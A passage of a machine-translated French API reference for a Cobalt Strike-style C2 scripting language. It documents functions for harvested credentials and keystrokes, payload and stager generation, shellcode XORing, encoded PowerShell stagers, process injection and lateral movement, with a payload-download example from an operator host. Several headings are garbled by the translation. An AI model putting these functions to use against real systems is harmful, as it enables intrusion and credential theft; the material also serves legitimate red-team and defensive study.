$host = binfo($1, "computer");

bdata_store_load¶

bdata_store_load($bid, $slot, [$cb]) -- Charge un emplacement de stockage de données.

bdata_store_load($1, "config");

bdata_store_unload¶

bdata_store_unload($bid, $slot, [$cb]) -- Décharger un emplacement de stockage de données.

bdata_store_unload($1, "config");

bdata_store_list¶

bdata_store_list($bid, [$cb]) -- Répertorie tous les emplacements du magasin de données.

bdata_store_list($1);

Modèle de données¶

beacons¶

beacons() -- Obtenez toutes les beacons actifs.

Renvoie : @array entrées sur %hash avec métadonnées de beacon.

foreach $beacon (beacons()) {
    println(binfo($beacon["id"], "computer"));
}

beacon_info¶

beacon_info($bid, $key) -- Obtenez des informations sur le beacon par clé (alias pour binfo).

$os = beacon_info($bid, "os");

clés_données¶

data_keys() -- Répertorie les clés de modèle de données disponibles.

Renvoie : @array des noms de clés disponibles.

println(data_keys());

requête_données¶

data_query($key) -- Interroge une clé de modèle de données.

Renvoie : Données pour la clé spécifiée.

@results = data_query("credentials");

informations d'identification¶

credentials() -- Obtenez toutes les informations d'identification récoltées.

Renvoie : @array sur %hash entrées d'informations d'identification.

foreach $cred (credentials()) {
    println(%cred["user"] . ":" . %cred["password"]);
}

cibles¶

targets() -- Obtenez toutes les cibles découvertes.

Renvoie : @array sur %hash entrées cibles.

foreach $target (targets()) {
    println(%target["address"]);
}

téléchargements¶

downloads() -- Obtenez tous les téléchargements de fichiers.

Renvoie : @array des enregistrements de téléchargement.

@files = downloads();

frappes¶

keystrokes() -- Obtenez toutes les frappes capturées.

Renvoie : @array d'enregistrements de frappes.

@keys = keystrokes();

captures d'écran¶

screenshots() -- Obtenez toutes les captures d'écran capturées.

Renvoie : @array des enregistrements de capture d'écran.

@shots = screenshots();

archives¶

archives() -- Récupère toutes les données archivées.

Renvoie : @array des enregistrements d'archives.

@data = archives();

candidatures¶

applications() -- Obtenez les applications découvertes.

Renvoie : @array des dossiers de candidature.

@apps = applications();

listeners¶

listeners() -- Récupère tous les listeners configurés.

Renvoie : @array sur %hash entrées d'listener.

foreach $listener (listeners()) {
    println(%listener["name"] . " - " . %listener["host"]);
}

auditeur_info¶

listener_info($name, $key) -- Obtenez des informations sur le listener par clé.

$host = listener_info("HTTPS", "host");

Sites¶

sites() -- Obtenez tous les sites hébergés.

Renvoie : @array des enregistrements du site.

@hosted = sites();

Boîte de dialogue et interface utilisateur¶

prompt_text("Enter IP", "Target IP address:", &callback);

prompt_confirm("Confirm", "Are you sure?", &callback);

prompt_file_open("Select BOF", &callback);

$dialog = dialog("My Tool", %(target => ""), &callback);

dialog_description($dialog, "Configure the attack parameters.");

dialog_show($dialog);

drow_text($dialog, "target", "Target IP:");
drow_text_big($dialog, "script", "PowerShell Script:");

drow_combobox($dialog, "arch", "Architecture:", @("x64", "x86"));

drow_checkbox($dialog, "verbose", "Verbose output");

Sortie et événements¶

dire¶

say($message) -- Diffusez un message de discussion à tous les opérateurs.

say("Attack complete - check targets tab");

elog¶

elog($message) -- Enregistre un message d'événement.

elog("Credentials harvested: 15 entries");

action¶

action($message) -- Diffusez un message d'action (style IRC).

action("started lateral movement to DC01");

message privé¶

privmsg($target, $message) -- Envoyez un message privé.

privmsg("operator2", "Ready to escalate");

événement_personnalisé¶

custom_event($event_name, $data) -- Déclenche un événement personnalisé.

custom_event("my_scanner_done", %results);

personnalisé_événement_privé¶

custom_event_private($event_name, $data) -- Déclenche un événement personnalisé privé.

custom_event_private("scan_complete", %data);

chat_privé¶

chat_private($target, $message) -- Envoyer une discussion privée.

événement_privé¶

event_private($event_name, $data) -- Incendie d'un événement privé.

événement_notifier¶

event_notify($title, $message) -- Afficher la notification de l'interface utilisateur.

event_notify("New Beacon", "Beacon from DC01 checked in");

Onglet et visualisation¶

ajouterTab¶

addTab($title, $callback) -- Ajoutez un onglet personnalisé à l'interface utilisateur.

addTab("My Tool", &my_tab_handler);

ajouter une visualisation¶

addVisualization($name, $callback) -- Enregistrez une visualisation personnalisée.

addVisualization("attack_graph", &render_graph);

showVisualisation¶

showVisualization($name) -- Afficher une visualisation enregistrée.

showVisualization("attack_graph");

Menus¶

popup_clear¶

popup_clear($hook) -- Supprime tous les éléments du menu contextuel d'un hook.

popup_clear("beacon_top");

barre de menu¶

menubar($label, $callback) -- Ajoute un élément de barre de menu de niveau supérieur.

menubar("My Tools", &my_menu);

Inscription¶

beacon_command_register¶

beacon_command_register($name, $description, $usage) -- Enregistrez une commande de beacon personnalisée.

beacon_command_register("scan", "Run port scan", "scan [targets] [ports]");

beacon_exploit_register¶

beacon_exploit_register($name, $description, $callback) -- Enregistrez un exploit d'élévation.

beacon_exploit_register("my_uac", "Custom UAC bypass", &my_exploit_handler);

beacon_remote_exploit_register¶

beacon_remote_exploit_register($name, $description, $arch, $callback) -- Enregistrez une technique de mouvement latéral.

beacon_remote_exploit_register("my_lateral", "Custom lateral", "x64", &handler);

beacon_remote_exec_method_register¶

beacon_remote_exec_method_register($name, $callback) -- Enregistrez une méthode d'exécution à distance.

beacon_remote_exec_method_register("my_exec", &handler);

beacon_command_describe¶

beacon_command_describe($name) -- Récupère la description de la commande.

Retours : description string ou "".

beacon_command_detail¶

beacon_command_detail($name) -- Obtenez les détails d'utilisation des commandes.

Retourne : utilisation de string ou "".

beacon_command_group¶

beacon_command_group($name) -- Récupère le groupe/catégorie de commandes.

Renvoie : string (stub, renvoie "").

beacons_commandes¶

beacon_commands() -- Répertorie toutes les commandes disponibles.

Renvoie : @array des noms de commandes triés.

foreach $cmd (beacon_commands()) {
    println($cmd);
}

beacon_exploits¶

beacon_exploits() -- Liste les exploits d'élévation enregistrés.

Renvoie : @array des noms d'exploit.

beacons_ascenseurs¶

beacon_elevators() -- Alias pour beacon_exploits().

beacon_remote_exploits¶

beacon_remote_exploits() -- Répertorie les techniques de mouvements latéraux enregistrées.

Renvoie : @array des noms d'exploits distants.

beacon_remote_exec_methods¶

beacon_remote_exec_methods() -- Répertorie les méthodes d'exécution à distance.

Renvoie : @array des noms de méthodes (intégrés + enregistrés par CNA).

Génération de payload¶

stageur¶

stager($listener, $arch) -- Génère un payload de stager.

Renvoie : octets bruts du stager.

$stager = stager("HTTPS", "x64");

payload¶

payload($listener, $arch) -- Génère un payload complète.

Renvoie : octets de payload brute.

$payload = payload("HTTPS", "x64");

artefact_payload¶

artifact_payload($listener, $type, $arch) -- Génère un payload d'artefact (EXE, DLL).

Renvoie : Octets d'artefact.

$exe = artifact_payload("HTTPS", "exe", "x64");

artefact_stager¶

artifact_stager($listener, $type, $arch) -- Génère un stager d'artefact.

Renvoie : octets d'artefact Stager.

artefact_général¶

artifact_general($data, $type) -- Génère un artefact général à partir de données brutes.

Renvoie : Octets d'artefact.

payload_local¶

payload_local($listener, $arch) -- Génère un payload locale.

Renvoie : octets de payload.

payload_bootstrap_hint¶

payload_bootstrap_hint($listener) -- Obtenez un indice d'amorçage pour un listener.

Renvoie : Chaîne de données d'amorçage.

Manipulation du PE¶

%pe = pedump($pe_bytes);
println(%pe["arch"]);

Renvoie : Octets PE écrasés.

### pe_patch_code

`pe_patch_code($data, $offset, $patch)` -- Code de patch au décalage.

### pe_insert_rich_header

`pe_insert_rich_header($data, $header)` -- Insérer un en-tête riche.

### pe_remove_rich_header

`pe_remove_rich_header($data)` -- Supprimer l'en-tête Rich.

### pe_set_compile_time_with_long

`pe_set_compile_time_with_long($data, $timestamp)` -- Définit l'heure de compilation (époque).

### pe_set_compile_time_with_string

`pe_set_compile_time_with_string($data, $timestr)` -- Définit le temps de compilation (chaîne).

### pe_set_export_name

`pe_set_export_name($data, $name)` -- Définit le nom d'exportation PE.

### pe_update_checksum

`pe_update_checksum($data)` -- Recalcule la somme de contrôle PE.

**Renvoie :** octets PE avec somme de contrôle corrigée.

### setup_reflective_loader

`setup_reflective_loader($data)` -- Configurer le chargeur réfléchissant.

Configuration d'injection de processus¶

$config = pi_spawn_get();
pi_spawn_set("technique", "CreateRemoteThread");
$info = pi_spawn_info();

Signaler DSL¶

??? remarque « Fonctions de rapport DSL (15 fonctions) »

### rapport

`report($title)` -- Crée un nouveau rapport.

### page

`page($report, $title)` -- Ajouter une page à un rapport.

### h1/h2/h3/h4

`h1($page, $text)` à `h4($page, $text)` -- Ajoutez des titres.

###p

`p($page, $text)` -- Ajouter un paragraphe.

### fr

`br($page)` -- Ajoutez un saut de ligne.

### décrire

`describe($page, $text)` -- Ajoutez un bloc de description.

### tableau

`table($page, @headers, @rows)` -- Ajoutez une table de données.

### table kv

`kvtable($page, %data)` -- Ajoutez une table clé-valeur.

### mise en page

`layout($page, @columns)` -- Définir la mise en page.

### signet

`bookmark($page, $name)` -- Ajouter un signet.

### report_save

`report_save($report, $path)` -- Enregistrer le rapport dans un fichier.

### report_generate

`report_generate($report)` -- Génère une sortie de rapport.

Données du rapport¶

agCredentials¶

agCredentials() -- Obtenez les informations d'identification pour la création de rapports.

Renvoie : @array des enregistrements d'informations d'identification.

agCibles¶

agTargets() -- Obtenez des objectifs pour les rapports.

agSessions¶

agSessions() -- Obtenez l'historique des sessions pour créer des rapports.

agApplications¶

agApplications() -- Obtenez des applications de création de rapports.

jetons ag¶

agTokens() -- Obtenez les données du jeton pour la création de rapports.

agC2info¶

agC2info() -- Obtenez des informations sur l'infrastructure C2 pour la création de rapports.

agServices¶

agServices() -- Obtenez des données de service pour la création de rapports.

Utilité : Général¶

base64_encode¶

base64_encode($data) -- Données d'encodage Base64.

Renvoie : Résultat codé en base64 string.

$encoded = base64_encode("Hello World");

base64_decode¶

base64_decode($data) -- Données de décodage Base64.

Renvoie : Octets décodés sous forme de chaîne.

$decoded = base64_decode($encoded);

str_encode¶

str_encode($data, $encoding) -- Encode la chaîne selon l'encodage spécifié.

monnick¶

mynick() -- Obtenez le surnom de l'opérateur actuel.

Renvoie : Pseudonyme string.

println("Operator: " . mynick());

tampon¶

tstamp($epoch) -- Formater l'horodatage de l'époque sous forme de chaîne lisible par l'homme.

Renvoie : Chaîne de date formatée.

println(tstamp(ticks()));

tiques¶

ticks() -- Obtenez l'heure actuelle en millisecondes.

Renvoie : long millisecondes depuis l'époque.

ressource_script¶

script_resource($path) -- Résout un chemin relatif au script en cours d'exécution.

Renvoie : Chaîne de chemin absolu.

$bof = script_resource("bofs/whoami.o");

formatDate¶

formatDate($epoch, $format) -- Formater l'horodatage de l'époque avec le modèle.

Renvoie : Chaîne de date formatée.

Utilitaire : chaîne¶

tampon¶

dstamp($epoch) -- Formater l'époque sous forme d'horodatage court.

format_taille¶

format_size($bytes) -- Formate le nombre d'octets en tant que taille lisible par l'homme.

Renvoie : string comme "1.5 MB".

println(format_size(1572864));  # "1.5 MB"

encoder¶

encode($data, $encoding) -- Encode les données avec l'encodage spécifié.

str_chunk¶

str_chunk($data, $size) -- Divise la chaîne en morceaux.

Renvoie : @array de chaînes de blocs.

str_decode¶

str_decode($data, $encoding) -- Décode les données codées.

str_xor¶

str_xor($data, $key) -- Chaîne XOR avec clé.

Renvoie : octets de résultat XOR.

$xored = str_xor($shellcode, "key123");

Utilitaire : Réseau¶

sync_download¶

sync_download($url) -- Téléchargez une URL de manière synchrone.

Renvoie : Contenu téléchargé sous forme de chaîne.

$content = sync_download("http://10.10.10.5/payload.bin");

jetonVersE-mail¶

tokenToEmail($token) -- Extrayez l'e-mail du jeton JWT.

Renvoie : Chaîne d'e-mail.

url_ouvrir¶

url_open($url) -- Ouvre une URL dans le navigateur par défaut.

utilisateurs¶

users() -- Obtenez les utilisateurs d'opérateurs connectés.

Renvoie : @array d'informations utilisateur.

fermerClient¶

closeClient() -- Se déconnecter du serveur d'équipe.

incendieÉvénement¶

fireEvent($event_name, $args...) -- Déclenche un événement nommé.

Utilitaire : Compression¶

gzip¶

gzip($data) -- Gzip compresse les données.

Renvoie : Octets compressés.

$compressed = gzip($payload);

pistolet¶

gunzip($data) -- Gzip décompresse les données.

Renvoie : Octets décompressés.

$original = gunzip($compressed);

Utilitaire : Transformer¶

transformer¶

transform($data, $transform_name) -- Applique une transformation nommée aux données.

Renvoie : Octets transformés.

transformation_vbs¶

transform_vbs($data) -- Transforme les données au format VBScript.

Renvoie : Chaîne codée en VBScript.

Utilitaire PowerShell¶

commande_powershell¶

powershell_command($cmd) -- Créez une chaîne de commande PowerShell à une seule ligne.

Renvoie : Commande PowerShell string.

$pscmd = powershell_command("Get-Process");

powershell_compress¶

powershell_compress($script) -- Compressez le script PowerShell pour la livraison.

Renvoie : Chaîne de script compressée.

powershell_encode_oneliner¶

powershell_encode_oneliner($cmd) -- Encodez en PowerShell -EncodedCommand.

Renvoie : One-liner codé string.

powershell_encode_stager¶

powershell_encode_stager($cmd) -- Encoder en tant que stager PowerShell.

Renvoie : Commande stager string.

Attaque (MITRE)¶

attaque_describe¶

attack_describe($technique_id) -- Obtenez la description de la technique ATT&CK.

Retours : description de string.

println(attack_describe("T1003.001"));

nom_attaque¶

attack_name($technique_id) -- Obtenez le nom de la technique ATT&CK.

Renvoie : nom de string.

println(attack_name("T1003"));  # "OS Credential Dumping"

attaque_détection¶

attack_detect($technique_id) -- Obtenez des conseils de détection.

Renvoie : méthodes de détection string.

attaque_mitigate¶

attack_mitigate($technique_id) -- Obtenez des conseils d'atténuation.

Renvoie : atténuations string.

attaque_tactique¶

attack_tactics($technique_id) -- Obtenez les tactiques associées.

Renvoie : @array des noms de tactiques.

attaque_url¶

attack_url($technique_id) -- Obtenez l'URL de la page ATT&CK.

Renvoie : URL string.

println(attack_url("T1059.001"));

Prédicats¶

Les fonctions de prédicat évaluent les propriétés du beacon et renvoient TRUE ou FALSE. Disponible avec ou sans le préfixe - (convention CS).

-is64 / est64¶

-is64($bid) -- Vérifiez si le beacon est 64 bits.

if (-is64($1)) {
    println("64-bit beacon");
}

-isadmin /isadmin¶

-isadmin($bid) -- Vérifiez si le beacon dispose de privilèges d'administrateur.

if (-isadmin($1)) {
    bgetsystem($1);
}

-isactif / isactif¶

-isactive($bid) -- Vérifiez si le beacon est active (dans un intervalle de veille de 3x).

-isbeacon / isbeacon¶

-isbeacon($bid) -- Vérifiez si l'entrée est un beacon (toujours vrai pour les beacons).

-isssh / isssh¶

-isssh($bid) -- Vérifiez si la session est SSH.

-islinux / islinux¶

-islinux($bid) -- Vérifiez si le beacon est sous Linux.

Préférences¶

pref_get¶

pref_get($key) -- Obtenez une valeur de préférence.

Renvoie : Valeur de préférence ou $null.

$value = pref_get("my.setting");

pref_set¶

pref_set($key, $value) -- Définit une valeur de préférence.

pref_set("my.setting", "enabled");

Configuration¶

chaînes_de configuration¶

setup_strings() -- Obtenez la configuration de la chaîne d'installation.

Renvoie : Configuration du hachage des chaînes.

configuration_transformations¶

setup_transformations() -- Obtenez la configuration de la transformation d'installation.

Renvoie : Données de transformation de configuration.

Cycle de vie du listener¶

auditeur_créer¶

listener_create($name, $type, %config) -- Créez un nouvel listener.

listener_create("HTTPS Relay", "https", %(host => "10.0.0.50", port => 443));

écouteur_créer_ext¶

listener_create_ext($name, $type, %config) -- Créez un listener externe.

auditeur_delete¶

listener_delete($name) -- Supprimer un listener.

listener_delete("Old Listener");

auditeur_describe¶

listener_describe($name) -- Obtenez les détails du listener (alias de listener_info).

Renvoie : %hash de la configuration du listener.

écouteur_restart¶

listener_restart($name) -- Redémarrez un listener.

listener_restart("HTTPS Relay");

écouteur_pivot_create¶

listener_pivot_create($name, $type, %config) -- Créez un listener pivot.

VPN¶

vpn_tap_create¶

vpn_tap_create($bid, $interface) -- Créez une interface VPN TAP.

vpn_tap_delete¶

vpn_tap_delete($interface) -- Supprimer une interface VPN TAP.

VPN_interfaces¶

vpn_interfaces() -- Liste les interfaces VPN.

Renvoie : @array d'informations sur l'interface.

Inscription SSH¶

ssh_command_register¶

ssh_command_register($name, $callback) -- Enregistrez une commande SSH personnalisée.

ssh_command_register("recon", &ssh_recon);

ssh_command_describe¶

ssh_command_describe($name) -- Obtenez la description de la commande SSH.

Retours : description de string.

Identifiants et hôte¶

informations d'identification_add¶

credential_add($user, $password, $realm, $source) -- Ajoutez un identifiant au modèle de données.

credential_add("admin", "Password1!", "CORP.LOCAL", "hashdump");

informations d'identification_remove¶

credential_remove($user, $realm) -- Supprime un identifiant.

credential_remove("admin", "CORP.LOCAL");

arc¶

arch($bid) -- Obtenez l'architecture du beacon.

Renvoie : string -- "x64" ou "x86".

println("Arch: " . arch($bid));

hôte_update¶

host_update($address, $key, $value) -- Mettre à jour les informations sur l'hôte dans le modèle de données.

host_update("10.10.10.5", "os", "Windows Server 2019");

localip¶

localip() -- Obtenez l'adresse IP locale.

Renvoie : string adresse IP.

Gamme¶

gamme¶

range($start, $end) -- Génère une plage numérique.

Renvoie : @array d'entiers du début à la fin.

@nums = range(1, 10);

iprange¶

iprange($cidr) -- Étendez une plage CIDR à des adresses IP individuelles.

Renvoie : @array de chaînes d'adresse IP.

@ips = iprange("192.168.1.0/24");

Chargeur réfléchissant¶

setup_reflective_loader¶

setup_reflective_loader($loader_data) -- Configurez le chargeur de DLL réfléchissant.

setup_reflective_loader($custom_loader);

Intégrations de sommeil¶

Ce sont les fonctions principales du langage Sleep disponibles dans tous les scripts CNA.

Sortie¶

imprimer¶

println($value) -- Imprime une valeur suivie d'une nouvelle ligne.

println("Hello, World!");
println(42);

imprimer¶

print($value) -- Imprime une valeur sans nouvelle ligne finale.

print("Loading...");

Conversion de types¶

casti¶

casti($value) -- Convertit la valeur en entier.

Retours : int

$num = casti("42");

casting¶

castd($value) -- Valeur convertie pour doubler.

Retours : double

château¶

castl($value) -- Convertit la valeur en long.

Retours : long

asc¶

asc($char) -- Récupère le code ASCII d'un caractère.

Renvoie : int Valeur ASCII.

println(asc("A"));  # 65

chr¶

chr($code) -- Récupère le caractère du code ASCII.

Renvoie : string caractère unique.

println(chr(65));  # "A"

type de¶

typeof($value) -- Récupère le nom de type d'une valeur.

Renvoie : Nom du type string.

println(typeof(@()));  # "array"

Manipulation des chaînes¶

charAt¶

charAt($string, $index) -- Récupère le caractère à l'index.

Renvoie : string caractère unique.

println(charAt("Hello", 0));  # "H"

indexDe¶

indexOf($string, $search, [$start]) -- Recherche l'index de la sous-chaîne.

Renvoie : int index ou -1.

println(indexOf("Hello World", "World"));  # 6

LC¶

lc($string) -- Convertir en minuscules.

Retours : string

println(lc("HELLO"));  # "hello"

uc¶

uc($string) -- Convertir en majuscules.

Retours : string

println(uc("hello"));  # "HELLO"

à gauche¶

left($string, $count) -- Récupère les caractères les plus à gauche.

Retours : string

println(left("Hello", 3));  # "Hel"

à droite¶

right($string, $count) -- Obtenez les caractères les plus à droite.

Retours : string

println(right("Hello", 3));  # "llo"

sous-titre¶

substr($string, $start, [$end]) -- Extraire la sous-chaîne.

Retours : string

println(substr("Hello World", 6));     # "World"
println(substr("Hello World", 0, 5));  # "Hello"

strlen¶

strlen($string) -- Récupère la longueur de la chaîne.

Retours : int

println(strlen("Hello"));  # 5

streptocoque¶

strrep($string, $old, $new) -- Remplace toutes les occurrences d'une sous-chaîne.

Retours : string

println(strrep("foo bar foo", "foo", "baz"));  # "baz bar baz"

garniture¶

trim($string) -- Supprime les espaces de début et de fin.

Retours : string

println(trim("  hello  "));  # "hello"

remplacer¶

replace($string, $pattern, $replacement) -- Remplacement de l'expression régulière.

Retours : string

println(replace("Hello 123", "\\d+", "456"));  # "Hello 456"

divisé¶

split($delimiter, $string) -- Diviser la chaîne par délimiteur.

Retours : @array

@parts = split(",", "a,b,c");

rejoindre¶

join($delimiter, @array) -- Joindre les éléments du tableau.

Retours : string

println(join(", ", @("a", "b", "c")));  # "a, b, c"

formater¶

format($format_string, $args...) -- Chaîne de format (style printf).

Retours : string

println(format("Host: %s Port: %d", "10.10.10.5", 443));

matchs¶

matches($string, $pattern) -- Test de correspondance Regex.

Renvoie : @array de correspondances ou $null.

@m = matches("Hello World 123", "\\d+");

Opérations sur les tableaux¶

pousser¶

push(@array, $value) -- Poussez la valeur à la fin du tableau.

@list = @();
push(@list, "item1");
push(@list, "item2");

pop¶

pop(@array) -- Supprime et renvoie le dernier élément.

Renvoie : Élément supprimé.

$last = pop(@list);

changement¶

shift(@array) -- Supprime et renvoie le premier élément.

Renvoie : Élément supprimé.

$first = shift(@list);

ajouter¶

add(@array, $value, [$index]) -- Ajouter une valeur à l'index (ou à la fin).

add(@list, "new", 0);  # Insert at beginning

ajouterTout¶

addAll(@dest, @source) -- Ajoutez tous les éléments de la source à la destination.

addAll(@combined, @extra);

copie¶

copy(@array) -- Crée une copie superficielle.

Renvoie : @array nouvelle copie.

@clone = copy(@original);

supprimerTout¶

removeAll(@array, @to_remove) -- Supprime les éléments correspondants.

removeAll(@list, @("unwanted"));

supprimer˦

removeAt(@array, $index) -- Supprime l'élément à l'index.

Renvoie : Élément supprimé.

$removed = removeAt(@list, 0);

retenirTout¶

retainAll(@array, @to_keep) -- Conservez uniquement les éléments correspondants.

retainAll(@list, @("keep1", "keep2"));

inverser¶

reverse(@array) -- Tableau inversé en place.

reverse(@list);

taille¶

size($collection) -- Récupère la taille du tableau, du hachage ou de la chaîne.

Renvoie : Nombre d'éléments int.

println(size(@list));
println(size(%hash));

en quelque sorte¶

sorta(@array) -- Trie le tableau par ordre alphabétique (croissant).

sorta(@names);

trié¶

sortd(@array) -- Trie le tableau par ordre alphabétique (décroissant).

sortd(@names);

sorte¶

sortn(@array) -- Trie le tableau numériquement.

sortn(@numbers);

sous-liste¶

sublist(@array, $start, [$end]) -- Extrait une sous-liste.

Renvoie : tranche @array.

@first3 = sublist(@list, 0, 3);

Opérations de hachage¶

clés¶

keys(%hash) -- Récupère toutes les clés d'un hachage.

Renvoie : @array de chaînes de clés.

foreach $key (keys(%config)) {
    println($key . " = " . %config[$key]);
}

valeurs¶

values(%hash) -- Récupère toutes les valeurs d'un hachage.

Renvoie : @array de valeurs.

mettreTout¶

putAll(%dest, %source) -- Fusionner le hachage source dans la destination.

putAll(%combined, %extra);

ohhash¶

ohash() -- Crée un hachage ordonné (préserve l'ordre d'insertion).

Retours : %hash hachage commandé.

%ordered = ohash();
%ordered["first"] = 1;
%ordered["second"] = 2;

Mathématiques¶

rand¶

rand($max) -- Génère un entier aléatoire.

Renvoie : int de 0 à max-1.

$port = rand(65535);

expression¶

expr($expression) -- Évaluer une expression mathématique.

Renvoie : Résultat numérique.

$result = expr("2 + 3 * 4");  # 14

Divers¶

dormir¶

sleep($ms) -- Suspendre l'exécution pendant quelques millisecondes.

sleep(1000);  # Wait 1 second

tiques¶

ticks() -- Obtenez l'heure actuelle en millisecondes.

Renvoie : long millisecondes d'époque.

$start = ticks();
# ... do work ...
$elapsed = ticks() - $start;
println("Took " . $elapsed . "ms");

Références croisées : Language Guide pour les bases de la syntaxe Sleep, Hooks & Events pour les modèles de script basés sur les événements.